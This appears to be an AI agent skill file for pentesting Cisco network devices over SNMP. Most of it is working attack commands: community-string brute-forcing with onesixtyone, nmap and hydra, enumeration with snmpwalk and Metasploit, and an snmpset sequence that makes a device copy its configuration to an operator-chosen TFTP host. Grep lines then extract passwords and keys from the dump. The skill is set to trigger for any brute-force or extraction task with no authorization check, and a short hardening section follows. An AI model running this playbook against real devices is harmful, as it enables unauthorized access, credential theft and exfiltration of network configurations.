| name | cisco-snmp-pentest |
| description | Pentest Cisco network devices using SNMP vulnerabilities. Use this skill whenever the user mentions SNMP, Cisco devices, network pentesting, community strings, or needs to enumerate/dump configurations from network equipment. Trigger for any task involving SNMP brute-forcing, config extraction, or Cisco device reconnaissance. |
Cisco SNMP Pentesting
This skill helps you enumerate, brute-force, and exploit SNMP on Cisco network devices. SNMP (Simple Network Management Protocol) is a common attack vector in network pentesting.
Quick Start
nmap -sU -p161,162 <target>
onesixtyone -c wordlist.txt -i targets.txt
nmap -sU -p161 --script snmp-interfaces,snmp-sysdescr <target>
Understanding SNMP
SNMP operates over UDP ports 161 (queries) and 162 (traps). It uses community strings as plaintext authentication:
- Read-Only (RO): Can query device information
- Read-Write (RW): Can modify configurations (critical for exploitation)
Common default community strings to try:
public (RO default)
private (RW default)
cisco, admin, manager, test, default
Phase 1: SNMP Enumeration
Check if SNMP is running
nmap -sU -p161,162 <target>
nmap -sU -p161 --script snmp-sysdescr,snmp-interfaces <target>
Enumerate with known community string
snmpwalk -v2c -c <community> <target> .1.3.6.1.2.1.1
snmpwalk -v2c -c <community> <target> .1.3.6.1.2.1.2
snmpwalk -v2c -c <community> <target> .1.3.6.1.2.1.4
snmpwalk -v2c -c <community> <target> .1.3.6.1.2.1.3
Use Metasploit for enumeration
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS <target>
set COMMUNITY <community-string>
run
This collects:
- Device inventory
- VLAN information
- Interface descriptions
- ARP tables
- Routing information
Phase 2: Brute-Force Community Strings
Using onesixtyone (recommended)
onesixtyone -c wordlist.txt -i targets.txt
onesixtyone -c wordlist.txt -i targets.txt -o results.txt
Wordlist sources:
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/onesixtyone.txt
- Custom wordlists with common Cisco strings
Using Nmap NSE script
nmap -sU -p161 --script snmp-brute \
--script-args brute.community=wordlist.txt <target>
nmap -sU -p161 --script snmp-brute \
--script-args brute.community="public,private,cisco,admin" <target>
Using Hydra
hydra -P wordlist.txt -s 161 <target> snmp
Phase 3: Dump Cisco Configurations
Once you have an RW community string, you can extract the device configuration without CLI access.
Method 1: Nmap snmp-ios-config script
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=<rw-community> <target>
This automatically:
- Sets up a TFTP server
- Triggers the config copy via CISCO-CONFIG-COPY-MIB
- Prints the configuration to stdout
Method 2: Manual snmpset sequence
Use the bundled script for this complex operation:
./scripts/dump_cisco_config.sh <target> <rw-community> <tftp-server-ip> <filename>
Manual approach (if script unavailable):
snmpset -v2c -c <community> <target> \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.<rowid> i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.3.<rowid> i 4 \
1.3.6.1.4.1.9.9.96.1.1.1.1.4.<rowid> i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.5.<rowid> a <tftp-ip> \
1.3.6.1.4.1.9.9.96.1.1.1.1.6.<rowid> s "<filename>" \
1.3.6.1.4.1.9.9.96.1.1.1.1.14.<rowid> i 4
Important: Row IDs are one-shot. Reuse within 5 minutes causes inconsistentValue errors. Use a new row ID for each attempt.
Method 3: Metasploit cisco_config_tftp
use auxiliary/admin/cisco/cisco_config_tftp
set RHOSTS <target>
set COMMUNITY <rw-community>
set TFTPDIR /tmp/tftp
run
Phase 4: Analyze Extracted Config
Look for:
grep -i "enable secret" config.txt
grep -i "username.*secret\|username.*password" config.txt
grep -i "snmp-server community" config.txt
grep -i "crypto.*key\|password" config.txt
grep -i "vlan\|interface" config.txt
Recent Cisco SNMP Vulnerabilities
| CVE | Year | Impact | Notes |
|---|
| CVE-2025-20174 | 2025 | DoS (device reload) | Crafted SNMP packet on IOS/IOS-XE |
| CVE-2024-20373 | 2024 | ACL bypass | Extended ACLs silently fail, allowing unauthorized SNMP polling |
| Unassigned | 2025 | SNMPv3 restriction bypass | Valid v3 user can poll from denied addresses |
Exploitation typically requires:
- Known community string or v3 credentials
- Network access to the device
- Specific IOS/IOS-XE versions
Hardening Recommendations
If you're doing defensive work:
- Upgrade IOS/IOS-XE to patched versions
- Use SNMPv3 with authentication and privacy:
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <pass> priv aes 256 <pass>
- Restrict with standard ACLs (not extended named ACLs - CVE-2024-20373):
access-list 99 permit <management-subnet>
snmp-server community <string> RO 99
- Disable RW communities or limit with views:
snmp-server community <string> RW 99 view SysView
- Monitor for anomalies:
- UDP/161 traffic spikes
- Unexpected source IPs
CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource events
Common Pitfalls
- Row ID reuse: Each snmpset sequence needs a unique row ID
- TFTP server: Must be accessible from the target device
- Firewall rules: Ensure UDP 161/162 and TFTP (69) are open
- Timeout: SNMP operations can timeout on slow networks
- Version mismatch: Verify SNMP version (v1, v2c, v3) before attempting operations
Tool Dependencies
onesixtyone - Community string brute-forcing
snmpwalk, snmpset - SNMP operations (net-snmp package)
nmap - Port scanning and NSE scripts
hydra - Alternative brute-forcing
tftpd or atftpd - TFTP server for config dumps
metasploit - Optional, for advanced operations